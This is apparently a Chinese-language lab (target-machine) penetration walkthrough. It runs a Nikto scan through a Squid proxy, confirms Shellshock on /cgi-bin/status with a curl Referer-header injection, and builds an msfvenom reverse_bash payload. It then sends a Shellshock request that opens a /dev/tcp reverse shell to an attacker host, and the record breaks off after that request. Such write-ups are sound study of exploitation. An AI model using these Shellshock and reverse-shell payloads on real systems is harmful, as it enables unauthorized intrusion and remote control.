靶机渗透

sudo nikto -h 192.168.133.139 -useproxy http://192.168.133.139:3128
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.133.139
+ Target Hostname:    192.168.133.139
+ Target Port:        80
+ Proxy:              192.168.133.139:3128
+ Start Time:         2023-07-13 21:03:00 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Retrieved via header: 1.0 localhost (squid/3.1.19).
+ /: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-cache-lookup' found, with contents: MISS from localhost:3128.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 265381, size: 45, mtime: Fri Dec  4 19:35:02 2015. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ : Server banner changed from 'Apache/2.2.22 (Ubuntu)' to 'squid/3.1.19'.
+ /: Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /cgi-bin/status: Uncommon header '93e4r0-cve-2014-6278' found, with contents: true.
+ /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.

/cgi-bin/status: Site appears vulnerable to the ‘shellshock’ vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

测试是否存在shellshock

sudo curl -v --proxy http://192.168.133.139:3128 http://192.168.133.139/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
*   Trying 192.168.133.139:3128...
* Connected to 192.168.133.139 (192.168.133.139) port 3128 (#0)
> GET http://192.168.133.139/cgi-bin/status HTTP/1.1
> Host: 192.168.133.139
> User-Agent: curl/7.88.1
> Accept: */*
> Proxy-Connection: Keep-Alive
> Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit
> 
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Fri, 14 Jul 2023 01:12:37 GMT
< Server: Apache/2.2.22 (Ubuntu)
< Vary: Accept-Encoding
< Content-Type: text/plain
< X-Cache: MISS from localhost
< X-Cache-Lookup: MISS from localhost:3128
< Via: 1.0 localhost (squid/3.1.19)
< Connection: close
< 

uid=33(www-data) gid=33(www-data) groups=33(www-data)
* Closing connection 0

出现uid=33(www-data) gid=33(www-data) groups=33(www-data)，表面有shellshock漏洞

构造payload

sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.133.137 lport=443 -f raw
[sudo] password for kali: 
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes
bash -c '0<&157-;exec 157<>/dev/tcp/192.168.133.137/443;sh <&157 >&157 2>&157'

获取bash权限

$ sudo curl -v --proxy http://192.168.133.139:3128 http://192.168.133.139/cgi-bin/status -H "Referer:() {  test;}; 0<&157-;exec 157<>/dev/tcp/192.168.133.137/443;/bin/bash <&157 >&157 2>&157"
*   Trying 192.168.133.139:3128...
* Connected to 192.168.133.139 (192.168.133.139) port 3128 (#0)
> GET http://192.168.133.139/cgi-bin/status HTTP/1.1
> Host: 192.168.133.139
> User-Agent: curl/7.88.1
> Accept: */*
> Proxy-Connection: Keep-Alive
> Referer:() {  test;}; 0<&157-;exec 157<>/dev/tcp/192.168.133.137/443;/bin/bash <&157 >&157 2>&157
>